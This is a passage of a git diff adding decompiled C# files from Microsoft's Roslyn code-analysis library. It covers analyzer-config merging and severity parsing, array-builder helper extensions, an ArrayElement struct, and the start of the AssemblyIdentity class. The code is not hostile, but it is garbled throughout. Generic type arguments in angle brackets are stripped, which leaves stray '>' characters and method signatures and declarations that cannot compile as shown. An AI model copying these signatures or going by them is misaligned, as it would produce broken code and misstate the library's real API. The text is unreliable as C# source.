ImmutableDictionary.CreateBuilder.Builder>(AnalyzerConfig.Section.NameEqualityComparer); + _duplicates = ImmutableDictionary.CreateBuilder)>.Builder>(AnalyzerConfig.Section.NameEqualityComparer); + } + MergeSection(config.PathToFile, config.GlobalSection, config.GlobalLevel, isGlobalSection: true); + ImmutableArray.Enumerator enumerator = config.NamedSections.GetEnumerator(); + while (enumerator.MoveNext()) + { + AnalyzerConfig.Section current = enumerator.Current; + if (AnalyzerConfig.IsAbsoluteEditorConfigPath(current.Name)) + { + AnalyzerConfig.Section section = new AnalyzerConfig.Section(AnalyzerConfig.UnescapeSectionName(current.Name), current.Properties); + MergeSection(config.PathToFile, section, config.GlobalLevel, isGlobalSection: false); + } + else + { + diagnostics.Add(Diagnostic.Create(InvalidGlobalAnalyzerSectionDescriptor, Location.None, current.Name, config.PathToFile)); + } + } + } + + internal GlobalAnalyzerConfig Build(DiagnosticBag diagnostics) + { + if (_values == null || _duplicates == null) + { + return new GlobalAnalyzerConfig(new AnalyzerConfig.Section("Global Section", ImmutableDictionary.Empty), ImmutableArray.Empty); + } + foreach (KeyValuePair)>.Builder> duplicate in _duplicates) + { + KeyValuePairUtil.Deconstruct(duplicate, out var key, out var value); + string text = key; + ImmutableDictionary)>.Builder builder = value; + string text2 = (string.IsNullOrWhiteSpace(text) ? "Global Section" : text); + foreach (KeyValuePair)> item2 in builder) + { + KeyValuePairUtil.Deconstruct(item2, out key, out var value2); + (int, ArrayBuilder) tuple = value2; + string text3 = key; + ArrayBuilder item = tuple.Item2; + diagnostics.Add(Diagnostic.Create(MultipleGlobalAnalyzerKeysDescriptor, Location.None, text3, text2, string.Join(", ", item))); + } + } + _duplicates = null; + AnalyzerConfig.Section section = GetSection(string.Empty); + _values.Remove(string.Empty); + ArrayBuilder arrayBuilder = new ArrayBuilder(_values.Count); + foreach (string item3 in _values.Keys.Order()) + { + arrayBuilder.Add(GetSection(item3)); + } + GlobalAnalyzerConfig result = new GlobalAnalyzerConfig(section, arrayBuilder.ToImmutableAndFree()); + _values = null; + return result; + } + + private AnalyzerConfig.Section GetSection(string sectionName) + { + ImmutableDictionary properties = _values[sectionName].ToImmutableDictionary, string, string>((KeyValuePair d) => d.Key, (KeyValuePair d) => d.Value.value, AnalyzerConfig.Section.PropertiesKeyComparer); + return new AnalyzerConfig.Section(sectionName, properties); + } + + private void MergeSection(string configPath, AnalyzerConfig.Section section, int globalLevel, bool isGlobalSection) + { + if (!_values.TryGetValue(section.Name, out ImmutableDictionary.Builder value)) + { + value = ImmutableDictionary.CreateBuilder(AnalyzerConfig.Section.PropertiesKeyComparer); + _values.Add(section.Name, value); + } + _duplicates.TryGetValue(section.Name, out ImmutableDictionary)>.Builder value2); + foreach (var (text3, item) in section.Properties) + { + if (isGlobalSection && (AnalyzerConfig.Section.PropertiesKeyComparer.Equals(text3, "is_global") || AnalyzerConfig.Section.PropertiesKeyComparer.Equals(text3, "global_level"))) + { + continue; + } + (string, string, int) value3; + bool flag = value.TryGetValue(text3, out value3); + (int, ArrayBuilder) value4 = default((int, ArrayBuilder)); + bool flag2 = !flag && (value2?.TryGetValue(text3, out value4) ?? false); + if (!flag && !flag2) + { + value.Add(text3, (item, configPath, globalLevel)); + continue; + } + int num; + if (!flag) + { + (num, _) = value4; + } + else + { + num = value3.Item3; + } + int num2 = num; + if (num2 < globalLevel) + { + value[text3] = (item, configPath, globalLevel); + if (flag2) + { + value2.Remove(text3); + } + } + else if (num2 == globalLevel) + { + if (value2 == null) + { + value2 = ImmutableDictionary.CreateBuilder)>(AnalyzerConfig.Section.PropertiesKeyComparer); + _duplicates.Add(section.Name, value2); + } + ArrayBuilder arrayBuilder = value4.Item2 ?? ArrayBuilder.GetInstance(); + arrayBuilder.Add(configPath); + value2[text3] = (globalLevel, arrayBuilder); + if (flag) + { + (string, string, int) tuple2 = value3; + value.Remove(text3); + arrayBuilder.Insert(0, tuple2.Item2); + } + } + } + } + } + + internal sealed class GlobalAnalyzerConfig + { + internal AnalyzerConfig.Section GlobalSection { get; } + + internal ImmutableArray NamedSections { get; } + + public GlobalAnalyzerConfig(AnalyzerConfig.Section globalSection, ImmutableArray namedSections) + { + GlobalSection = globalSection; + NamedSections = namedSections; + } + } + + private readonly ImmutableArray _analyzerConfigs; + + private readonly GlobalAnalyzerConfig _globalConfig; + + private readonly ImmutableArray> _analyzerMatchers; + + private readonly ConcurrentDictionary, string> _diagnosticIdCache = new ConcurrentDictionary, string>(CharMemoryEqualityComparer.Instance); + + private readonly ConcurrentCache, AnalyzerConfigOptionsResult> _optionsCache = new ConcurrentCache, AnalyzerConfigOptionsResult>(50, SequenceEqualComparer.Instance); + + private readonly ObjectPool.Builder> _treeOptionsPool = new ObjectPool.Builder>(() => ImmutableDictionary.CreateBuilder(AnalyzerConfig.Section.PropertiesKeyComparer)); + + private readonly ObjectPool.Builder> _analyzerOptionsPool = new ObjectPool.Builder>(() => ImmutableDictionary.CreateBuilder(AnalyzerConfig.Section.PropertiesKeyComparer)); + + private readonly ObjectPool> _sectionKeyPool = new ObjectPool>(() => new List()); + + private StrongBox? _lazyConfigOptions; + + private static readonly DiagnosticDescriptor InvalidAnalyzerConfigSeverityDescriptor = new DiagnosticDescriptor("InvalidSeverityInAnalyzerConfig", CodeAnalysisResources.WRN_InvalidSeverityInAnalyzerConfig_Title, CodeAnalysisResources.WRN_InvalidSeverityInAnalyzerConfig, "AnalyzerConfig", DiagnosticSeverity.Warning, true, null, null); + + private static readonly DiagnosticDescriptor MultipleGlobalAnalyzerKeysDescriptor = new DiagnosticDescriptor("MultipleGlobalAnalyzerKeys", CodeAnalysisResources.WRN_MultipleGlobalAnalyzerKeys_Title, CodeAnalysisResources.WRN_MultipleGlobalAnalyzerKeys, "AnalyzerConfig", DiagnosticSeverity.Warning, true, null, null); + + private static readonly DiagnosticDescriptor InvalidGlobalAnalyzerSectionDescriptor = new DiagnosticDescriptor("InvalidGlobalSectionName", CodeAnalysisResources.WRN_InvalidGlobalSectionName_Title, CodeAnalysisResources.WRN_InvalidGlobalSectionName, "AnalyzerConfig", DiagnosticSeverity.Warning, true, null, null); + + public AnalyzerConfigOptionsResult GlobalConfigOptions + { + get + { + if (_lazyConfigOptions == null) + { + Interlocked.CompareExchange(ref _lazyConfigOptions, new StrongBox(ParseGlobalConfigOptions()), null); + } + return _lazyConfigOptions.Value; + } + } + + public static AnalyzerConfigSet Create(TList analyzerConfigs) where TList : IReadOnlyCollection + { + ImmutableArray diagnostics; + return Create(analyzerConfigs, out diagnostics); + } + + public static AnalyzerConfigSet Create(TList analyzerConfigs, out ImmutableArray diagnostics) where TList : IReadOnlyCollection + { + ArrayBuilder instance = ArrayBuilder.GetInstance(analyzerConfigs.Count); + instance.AddRange(analyzerConfigs); + instance.Sort(AnalyzerConfig.DirectoryLengthComparer); + return new AnalyzerConfigSet(globalConfig: MergeGlobalConfigs(instance, out diagnostics), analyzerConfigs: instance.ToImmutableAndFree()); + } + + private AnalyzerConfigSet(ImmutableArray analyzerConfigs, GlobalAnalyzerConfig globalConfig) + { + _analyzerConfigs = analyzerConfigs; + _globalConfig = globalConfig; + ArrayBuilder> instance = ArrayBuilder>.GetInstance(_analyzerConfigs.Length); + ImmutableArray.Enumerator enumerator = _analyzerConfigs.GetEnumerator(); + while (enumerator.MoveNext()) + { + AnalyzerConfig current = enumerator.Current; + ArrayBuilder instance2 = ArrayBuilder.GetInstance(current.NamedSections.Length); + ImmutableArray.Enumerator enumerator2 = current.NamedSections.GetEnumerator(); + while (enumerator2.MoveNext()) + { + AnalyzerConfig.SectionNameMatcher? item = AnalyzerConfig.TryCreateSectionNameMatcher(enumerator2.Current.Name); + instance2.Add(item); + } + instance.Add(instance2.ToImmutableAndFree()); + } + _analyzerMatchers = instance.ToImmutableAndFree(); + } + + public AnalyzerConfigOptionsResult GetOptionsForSourcePath(string sourcePath) + { + if (sourcePath == null) + { + throw new ArgumentNullException("sourcePath"); + } + List list = _sectionKeyPool.Allocate(); + string p = PathUtilities.NormalizeWithForwardSlash(sourcePath); + p = PathUtilities.ExpandAbsolutePathWithRelativeParts(p); + ImmutableArray.Enumerator enumerator = _globalConfig.NamedSections.GetEnumerator(); + while (enumerator.MoveNext()) + { + AnalyzerConfig.Section current = enumerator.Current; + if (p.Equals(current.Name, AnalyzerConfig.Section.NameComparer)) + { + list.Add(current); + break; + } + } + int count = list.Count; + for (int i = 0; i < _analyzerConfigs.Length; i++) + { + AnalyzerConfig analyzerConfig = _analyzerConfigs[i]; + if (!p.StartsWith(analyzerConfig.NormalizedDirectory, StringComparison.Ordinal)) + { + continue; + } + if (analyzerConfig.IsRoot) + { + list.RemoveRange(count, list.Count - count); + } + int num = analyzerConfig.NormalizedDirectory.Length; + if (analyzerConfig.NormalizedDirectory[num - 1] == '/') + { + num--; + } + string s = p.Substring(num); + ImmutableArray immutableArray = _analyzerMatchers[i]; + for (int j = 0; j < immutableArray.Length; j++) + { + AnalyzerConfig.SectionNameMatcher? sectionNameMatcher = immutableArray[j]; + if (sectionNameMatcher.HasValue && sectionNameMatcher.GetValueOrDefault().IsMatch(s)) + { + AnalyzerConfig.Section item = analyzerConfig.NamedSections[j]; + list.Add(item); + } + } + } + if (!_optionsCache.TryGetValue(list, out var value)) + { + ImmutableDictionary.Builder builder = _treeOptionsPool.Allocate(); + ImmutableDictionary.Builder builder2 = _analyzerOptionsPool.Allocate(); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + int num2 = 0; + builder2.AddRange(GlobalConfigOptions.AnalyzerOptions); + enumerator = _globalConfig.NamedSections.GetEnumerator(); + while (enumerator.MoveNext()) + { + AnalyzerConfig.Section current2 = enumerator.Current; + if (list.Count > 0 && current2 == list[num2]) + { + ParseSectionOptions(list[num2], builder, builder2, instance, "", _diagnosticIdCache); + num2++; + if (num2 == list.Count) + { + break; + } + } + } + for (int k = 0; k < _analyzerConfigs.Length; k++) + { + if (num2 >= list.Count) + { + break; + } + AnalyzerConfig analyzerConfig2 = _analyzerConfigs[k]; + ImmutableArray immutableArray2 = _analyzerMatchers[k]; + for (int l = 0; l < immutableArray2.Length; l++) + { + if (list[num2] == analyzerConfig2.NamedSections[l]) + { + ParseSectionOptions(list[num2], builder, builder2, instance, analyzerConfig2.PathToFile, _diagnosticIdCache); + num2++; + if (num2 == list.Count) + { + break; + } + } + } + } + value = new AnalyzerConfigOptionsResult((ImmutableDictionary)((builder.Count > 0) ? ((IDictionary)builder.ToImmutable()) : ((IDictionary)SyntaxTree.EmptyDiagnosticOptions)), (ImmutableDictionary)((builder2.Count > 0) ? ((IDictionary)builder2.ToImmutable()) : ((IDictionary)DictionaryAnalyzerConfigOptions.EmptyDictionary)), instance.ToImmutableAndFree()); + if (!_optionsCache.TryAdd(list, value)) + { + freeKey(list, _sectionKeyPool); + } + builder.Clear(); + builder2.Clear(); + _treeOptionsPool.Free(builder); + _analyzerOptionsPool.Free(builder2); + } + else + { + freeKey(list, _sectionKeyPool); + } + return value; + static void freeKey(List sectionKey, ObjectPool> pool) + { + sectionKey.Clear(); + pool.Free(sectionKey); + } + } + + internal static bool TryParseSeverity(string value, out ReportDiagnostic severity) + { + StringComparer ordinalIgnoreCase = StringComparer.OrdinalIgnoreCase; + if (ordinalIgnoreCase.Equals(value, "default")) + { + severity = ReportDiagnostic.Default; + return true; + } + if (ordinalIgnoreCase.Equals(value, "error")) + { + severity = ReportDiagnostic.Error; + return true; + } + if (ordinalIgnoreCase.Equals(value, "warning")) + { + severity = ReportDiagnostic.Warn; + return true; + } + if (ordinalIgnoreCase.Equals(value, "suggestion")) + { + severity = ReportDiagnostic.Info; + return true; + } + if (ordinalIgnoreCase.Equals(value, "silent") || ordinalIgnoreCase.Equals(value, "refactoring")) + { + severity = ReportDiagnostic.Hidden; + return true; + } + if (ordinalIgnoreCase.Equals(value, "none")) + { + severity = ReportDiagnostic.Suppress; + return true; + } + severity = ReportDiagnostic.Default; + return false; + } + + private AnalyzerConfigOptionsResult ParseGlobalConfigOptions() + { + ImmutableDictionary.Builder builder = _treeOptionsPool.Allocate(); + ImmutableDictionary.Builder builder2 = _analyzerOptionsPool.Allocate(); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ParseSectionOptions(_globalConfig.GlobalSection, builder, builder2, instance, "", _diagnosticIdCache); + AnalyzerConfigOptionsResult result = new AnalyzerConfigOptionsResult(builder.ToImmutable(), builder2.ToImmutable(), instance.ToImmutableAndFree()); + builder.Clear(); + builder2.Clear(); + _treeOptionsPool.Free(builder); + _analyzerOptionsPool.Free(builder2); + return result; + } + + private static void ParseSectionOptions(AnalyzerConfig.Section section, ImmutableDictionary.Builder treeBuilder, ImmutableDictionary.Builder analyzerBuilder, ArrayBuilder diagnosticBuilder, string analyzerConfigPath, ConcurrentDictionary, string> diagIdCache) + { + foreach (KeyValuePair property in section.Properties) + { + KeyValuePairUtil.Deconstruct(property, out var key, out var value); + string text = key; + string text2 = value; + int num = -1; + if (text.StartsWith("dotnet_diagnostic.", StringComparison.Ordinal) && text.EndsWith(".severity", StringComparison.Ordinal)) + { + num = text.Length - ("dotnet_diagnostic.".Length + ".severity".Length); + } + if (num >= 0) + { + ReadOnlyMemory key2 = text.AsMemory().Slice("dotnet_diagnostic.".Length, num); + if (!diagIdCache.TryGetValue(key2, out string value2)) + { + value2 = key2.ToString(); + value2 = diagIdCache.GetOrAdd(value2.AsMemory(), value2); + } + if (TryParseSeverity(text2, out var severity)) + { + treeBuilder[value2] = severity; + continue; + } + diagnosticBuilder.Add(Diagnostic.Create(InvalidAnalyzerConfigSeverityDescriptor, Location.None, value2, text2, analyzerConfigPath)); + } + else + { + analyzerBuilder[text] = text2; + } + } + } + + internal static GlobalAnalyzerConfig MergeGlobalConfigs(ArrayBuilder analyzerConfigs, out ImmutableArray diagnostics) + { + GlobalAnalyzerConfigBuilder globalAnalyzerConfigBuilder = default(GlobalAnalyzerConfigBuilder); + DiagnosticBag instance = DiagnosticBag.GetInstance(); + for (int i = 0; i < analyzerConfigs.Count; i++) + { + if (analyzerConfigs[i].IsGlobal) + { + globalAnalyzerConfigBuilder.MergeIntoGlobalConfig(analyzerConfigs[i], instance); + analyzerConfigs.RemoveAt(i); + i--; + } + } + GlobalAnalyzerConfig result = globalAnalyzerConfigBuilder.Build(instance); + diagnostics = instance.ToReadOnlyAndFree(); + return result; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AnnotationExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AnnotationExtensions.cs new file mode 100644 index 0000000..2741599 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AnnotationExtensions.cs @@ -0,0 +1,36 @@ +using System.Collections.Generic; +using System.Linq; + +namespace Microsoft.CodeAnalysis; + +public static class AnnotationExtensions +{ + public static TNode WithAdditionalAnnotations(this TNode node, params SyntaxAnnotation[] annotations) where TNode : SyntaxNode + { + return (TNode)node.WithAdditionalAnnotationsInternal(annotations); + } + + public static TNode WithAdditionalAnnotations(this TNode node, IEnumerable annotations) where TNode : SyntaxNode + { + return (TNode)node.WithAdditionalAnnotationsInternal(annotations); + } + + public static TNode WithoutAnnotations(this TNode node, params SyntaxAnnotation[] annotations) where TNode : SyntaxNode + { + return (TNode)node.GetNodeWithoutAnnotations(annotations); + } + + public static TNode WithoutAnnotations(this TNode node, IEnumerable annotations) where TNode : SyntaxNode + { + return (TNode)node.GetNodeWithoutAnnotations(annotations); + } + + public static TNode WithoutAnnotations(this TNode node, string annotationKind) where TNode : SyntaxNode + { + if (node.HasAnnotations(annotationKind)) + { + return node.WithoutAnnotations(node.GetAnnotations(annotationKind).ToArray()); + } + return node; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ArrayBuilderExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ArrayBuilderExtensions.cs new file mode 100644 index 0000000..f2b606f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ArrayBuilderExtensions.cs @@ -0,0 +1,229 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal static class ArrayBuilderExtensions +{ + public static bool Any(this ArrayBuilder builder, Func predicate) + { + ArrayBuilder.Enumerator enumerator = builder.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + if (predicate(current)) + { + return true; + } + } + return false; + } + + public static bool Any(this ArrayBuilder builder, Func predicate, A arg) + { + ArrayBuilder.Enumerator enumerator = builder.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + if (predicate(current, arg)) + { + return true; + } + } + return false; + } + + public static bool All(this ArrayBuilder builder, Func predicate) + { + ArrayBuilder.Enumerator enumerator = builder.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + if (!predicate(current)) + { + return false; + } + } + return true; + } + + public static bool All(this ArrayBuilder builder, Func predicate, A arg) + { + ArrayBuilder.Enumerator enumerator = builder.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + if (!predicate(current, arg)) + { + return false; + } + } + return true; + } + + public static ImmutableArray SelectAsArray(this ArrayBuilder items, Func map) + { + switch (items.Count) + { + case 0: + return ImmutableArray.Empty; + case 1: + return ImmutableArray.Create(map(items[0])); + case 2: + return ImmutableArray.Create(map(items[0]), map(items[1])); + case 3: + return ImmutableArray.Create(map(items[0]), map(items[1]), map(items[2])); + case 4: + return ImmutableArray.Create(map(items[0]), map(items[1]), map(items[2]), map(items[3])); + default: + { + ArrayBuilder instance = ArrayBuilder.GetInstance(items.Count); + ArrayBuilder.Enumerator enumerator = items.GetEnumerator(); + while (enumerator.MoveNext()) + { + TItem current = enumerator.Current; + instance.Add(map(current)); + } + return instance.ToImmutableAndFree(); + } + } + } + + public static ImmutableArray SelectAsArray(this ArrayBuilder items, Func map, TArg arg) + { + switch (items.Count) + { + case 0: + return ImmutableArray.Empty; + case 1: + return ImmutableArray.Create(map(items[0], arg)); + case 2: + return ImmutableArray.Create(map(items[0], arg), map(items[1], arg)); + case 3: + return ImmutableArray.Create(map(items[0], arg), map(items[1], arg), map(items[2], arg)); + case 4: + return ImmutableArray.Create(map(items[0], arg), map(items[1], arg), map(items[2], arg), map(items[3], arg)); + default: + { + ArrayBuilder instance = ArrayBuilder.GetInstance(items.Count); + ArrayBuilder.Enumerator enumerator = items.GetEnumerator(); + while (enumerator.MoveNext()) + { + TItem current = enumerator.Current; + instance.Add(map(current, arg)); + } + return instance.ToImmutableAndFree(); + } + } + } + + public static ImmutableArray SelectAsArrayWithIndex(this ArrayBuilder items, Func map, TArg arg) + { + switch (items.Count) + { + case 0: + return ImmutableArray.Empty; + case 1: + return ImmutableArray.Create(map(items[0], 0, arg)); + case 2: + return ImmutableArray.Create(map(items[0], 0, arg), map(items[1], 1, arg)); + case 3: + return ImmutableArray.Create(map(items[0], 0, arg), map(items[1], 1, arg), map(items[2], 2, arg)); + case 4: + return ImmutableArray.Create(map(items[0], 0, arg), map(items[1], 1, arg), map(items[2], 2, arg), map(items[3], 3, arg)); + default: + { + ArrayBuilder instance = ArrayBuilder.GetInstance(items.Count); + ArrayBuilder.Enumerator enumerator = items.GetEnumerator(); + while (enumerator.MoveNext()) + { + TItem current = enumerator.Current; + instance.Add(map(current, instance.Count, arg)); + } + return instance.ToImmutableAndFree(); + } + } + } + + public static void AddOptional(this ArrayBuilder builder, T? item) where T : class + { + if (item != null) + { + builder.Add(item); + } + } + + public static void Push(this ArrayBuilder builder, T e) + { + builder.Add(e); + } + + public static T Pop(this ArrayBuilder builder) + { + T result = builder.Peek(); + builder.RemoveAt(builder.Count - 1); + return result; + } + + public static bool TryPop(this ArrayBuilder builder, [MaybeNullWhen(false)] out T result) + { + if (builder.Count > 0) + { + result = builder.Pop(); + return true; + } + result = default(T); + return false; + } + + public static T Peek(this ArrayBuilder builder) + { + return builder[builder.Count - 1]; + } + + public static ImmutableArray ToImmutableOrEmptyAndFree(this ArrayBuilder? builder) + { + return builder?.ToImmutableAndFree() ?? ImmutableArray.Empty; + } + + public static void AddIfNotNull(this ArrayBuilder builder, T? value) where T : struct + { + if (value.HasValue) + { + builder.Add(value.Value); + } + } + + public static void AddIfNotNull(this ArrayBuilder builder, T? value) where T : class + { + if (value != null) + { + builder.Add(value); + } + } + + public static void FreeAll(this ArrayBuilder builder, Func?> getNested) + { + ArrayBuilder.Enumerator enumerator = builder.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + getNested(current)?.FreeAll(getNested); + } + builder.Free(); + } + + public static OneOrMany ToOneOrManyAndFree(this ArrayBuilder builder) + { + if (builder.Count == 1) + { + OneOrMany result = OneOrMany.Create(builder[0]); + builder.Free(); + return result; + } + return OneOrMany.Create(builder.ToImmutableAndFree()); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ArrayElement.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ArrayElement.cs new file mode 100644 index 0000000..86e0181 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ArrayElement.cs @@ -0,0 +1,45 @@ +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; + +namespace Microsoft.CodeAnalysis; + +[DebuggerDisplay("{Value,nq}")] +internal struct ArrayElement +{ + internal T Value; + + public static implicit operator T(ArrayElement element) + { + return element.Value; + } + + [return: NotNullIfNotNull("items")] + public static ArrayElement[]? MakeElementArray(T[]? items) + { + if (items == null) + { + return null; + } + ArrayElement[] array = new ArrayElement[items.Length]; + for (int i = 0; i < items.Length; i++) + { + array[i].Value = items[i]; + } + return array; + } + + [return: NotNullIfNotNull("items")] + public static T[]? MakeArray(ArrayElement[]? items) + { + if (items == null) + { + return null; + } + T[] array = new T[items.Length]; + for (int i = 0; i < items.Length; i++) + { + array[i] = items[i].Value; + } + return array; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyIdentity.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyIdentity.cs new file mode 100644 index 0000000..871757f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyIdentity.cs @@ -0,0 +1,1026 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Reflection; +using System.Text; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +public sealed class AssemblyIdentity : IEquatable +{ + private readonly AssemblyContentType _contentType; + + private readonly string _name; + + private readonly Version _version; + + private readonly string _cultureName; + + private readonly ImmutableArray _publicKey; + + private ImmutableArray _lazyPublicKeyToken; + + private readonly bool _isRetargetable; + + private string? _lazyDisplayName; + + private int _lazyHashCode; + + internal const int PublicKeyTokenSize = 8; + + internal static readonly Version NullVersion = new Version(0, 0, 0, 0); + + internal const string InvariantCultureDisplay = "neutral"; + + private static readonly ConcurrentCache s_TryParseDisplayNameCache = new ConcurrentCache(1024, Roslyn.Utilities.ReferenceEqualityComparer.Instance); + + private const int PublicKeyTokenBytes = 8; + + public string Name => _name; + + public Version Version => _version; + + public string CultureName => _cultureName; + + public AssemblyNameFlags Flags => (AssemblyNameFlags)((_isRetargetable ? 256 : 0) | (HasPublicKey ? 1 : 0)); + + public AssemblyContentType ContentType => _contentType; + + public bool HasPublicKey => _publicKey.Length > 0; + + public ImmutableArray PublicKey => _publicKey; + + public ImmutableArray PublicKeyToken + { + get + { + if (_lazyPublicKeyToken.IsDefault) + { + ImmutableInterlocked.InterlockedCompareExchange(ref _lazyPublicKeyToken, CalculatePublicKeyToken(_publicKey), default(ImmutableArray)); + } + return _lazyPublicKeyToken; + } + } + + public bool IsStrongName + { + get + { + if (!HasPublicKey) + { + return _lazyPublicKeyToken.Length > 0; + } + return true; + } + } + + public bool IsRetargetable => _isRetargetable; + + private AssemblyIdentity(AssemblyIdentity other, Version version) + { + _contentType = other.ContentType; + _name = other._name; + _cultureName = other._cultureName; + _publicKey = other._publicKey; + _lazyPublicKeyToken = other._lazyPublicKeyToken; + _isRetargetable = other._isRetargetable; + _version = version; + _lazyDisplayName = null; + _lazyHashCode = 0; + } + + internal AssemblyIdentity WithVersion(Version version) + { + if (!(version == _version)) + { + return new AssemblyIdentity(this, version); + } + return this; + } + + public AssemblyIdentity(string? name, Version? version = null, string? cultureName = null, ImmutableArray publicKeyOrToken = default(ImmutableArray), bool hasPublicKey = false, bool isRetargetable = false, AssemblyContentType contentType = AssemblyContentType.Default) + { + if (!IsValid(contentType)) + { + throw new ArgumentOutOfRangeException("contentType", CodeAnalysisResources.InvalidContentType); + } + if (!IsValidName(name)) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.InvalidAssemblyName, name), "name"); + } + if (!IsValidCultureName(cultureName)) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.InvalidCultureName, cultureName), "cultureName"); + } + if (!IsValid(version)) + { + throw new ArgumentOutOfRangeException("version"); + } + if (hasPublicKey) + { + if (!MetadataHelpers.IsValidPublicKey(publicKeyOrToken)) + { + throw new ArgumentException(CodeAnalysisResources.InvalidPublicKey, "publicKeyOrToken"); + } + } + else if (!publicKeyOrToken.IsDefaultOrEmpty && publicKeyOrToken.Length != 8) + { + throw new ArgumentException(CodeAnalysisResources.InvalidSizeOfPublicKeyToken, "publicKeyOrToken"); + } + if (isRetargetable && contentType == AssemblyContentType.WindowsRuntime) + { + throw new ArgumentException(CodeAnalysisResources.WinRTIdentityCantBeRetargetable, "isRetargetable"); + } + _name = name; + _version = version ?? NullVersion; + _cultureName = NormalizeCultureName(cultureName); + _isRetargetable = isRetargetable; + _contentType = contentType; + InitializeKey(publicKeyOrToken, hasPublicKey, out _publicKey, out _lazyPublicKeyToken); + } + + internal AssemblyIdentity(string name, Version version, string? cultureName, ImmutableArray publicKeyOrToken, bool hasPublicKey, bool isRetargetable) + { + _name = name; + _version = version ?? NullVersion; + _cultureName = NormalizeCultureName(cultureName); + _isRetargetable = isRetargetable; + _contentType = AssemblyContentType.Default; + InitializeKey(publicKeyOrToken, hasPublicKey, out _publicKey, out _lazyPublicKeyToken); + } + + internal AssemblyIdentity(bool noThrow, string name, Version? version = null, string? cultureName = null, ImmutableArray publicKeyOrToken = default(ImmutableArray), bool hasPublicKey = false, bool isRetargetable = false, AssemblyContentType contentType = AssemblyContentType.Default) + { + _name = name; + _version = version ?? NullVersion; + _cultureName = NormalizeCultureName(cultureName); + _contentType = (IsValid(contentType) ? contentType : AssemblyContentType.Default); + _isRetargetable = isRetargetable && _contentType != AssemblyContentType.WindowsRuntime; + InitializeKey(publicKeyOrToken, hasPublicKey, out _publicKey, out _lazyPublicKeyToken); + } + + private static string NormalizeCultureName(string? cultureName) + { + if (cultureName != null && !AssemblyIdentityComparer.CultureComparer.Equals(cultureName, "neutral")) + { + return cultureName; + } + return string.Empty; + } + + private static void InitializeKey(ImmutableArray publicKeyOrToken, bool hasPublicKey, out ImmutableArray publicKey, out ImmutableArray publicKeyToken) + { + if (hasPublicKey) + { + publicKey = publicKeyOrToken; + publicKeyToken = default(ImmutableArray); + } + else + { + publicKey = ImmutableArray.Empty; + publicKeyToken = publicKeyOrToken.NullToEmpty(); + } + } + + internal static bool IsValidCultureName(string? name) + { + if (name != null) + { + return name.IndexOf('\0') < 0; + } + return true; + } + + private static bool IsValidName([NotNullWhen(true)] string? name) + { + if (!string.IsNullOrEmpty(name)) + { + return name.IndexOf('\0') < 0; + } + return false; + } + + private static bool IsValid(Version? value) + { + if (!(value == null)) + { + if (value.Major >= 0 && value.Minor >= 0 && value.Build >= 0 && value.Revision >= 0 && value.Major <= 65535 && value.Minor <= 65535 && value.Build <= 65535) + { + return value.Revision <= 65535; + } + return false; + } + return true; + } + + private static bool IsValid(AssemblyContentType value) + { + if (value >= AssemblyContentType.Default) + { + return value <= AssemblyContentType.WindowsRuntime; + } + return false; + } + + internal static bool IsFullName(AssemblyIdentityParts parts) + { + if ((parts & (AssemblyIdentityParts.Version | AssemblyIdentityParts.Name | AssemblyIdentityParts.Culture)) == (AssemblyIdentityParts.Version | AssemblyIdentityParts.Name | AssemblyIdentityParts.Culture)) + { + return (parts & AssemblyIdentityParts.PublicKeyOrToken) != 0; + } + return false; + } + + public static bool operator ==(AssemblyIdentity? left, AssemblyIdentity? right) + { + return EqualityComparer.Default.Equals(left, right); + } + + public static bool operator !=(AssemblyIdentity? left, AssemblyIdentity? right) + { + return !(left == right); + } + + public bool Equals(AssemblyIdentity? obj) + { + if ((object)obj != null && (_lazyHashCode == 0 || obj._lazyHashCode == 0 || _lazyHashCode == obj._lazyHashCode)) + { + return MemberwiseEqual(this, obj) == true; + } + return false; + } + + public override bool Equals(object? obj) + { + return Equals(obj as AssemblyIdentity); + } + + public override int GetHashCode() + { + if (_lazyHashCode == 0) + { + _lazyHashCode = Hash.Combine(AssemblyIdentityComparer.SimpleNameComparer.GetHashCode(_name), Hash.Combine(_version.GetHashCode(), GetHashCodeIgnoringNameAndVersion())); + } + return _lazyHashCode; + } + + internal int GetHashCodeIgnoringNameAndVersion() + { + return Hash.Combine((int)_contentType, Hash.Combine(_isRetargetable, AssemblyIdentityComparer.CultureComparer.GetHashCode(_cultureName))); + } + + internal static ImmutableArray 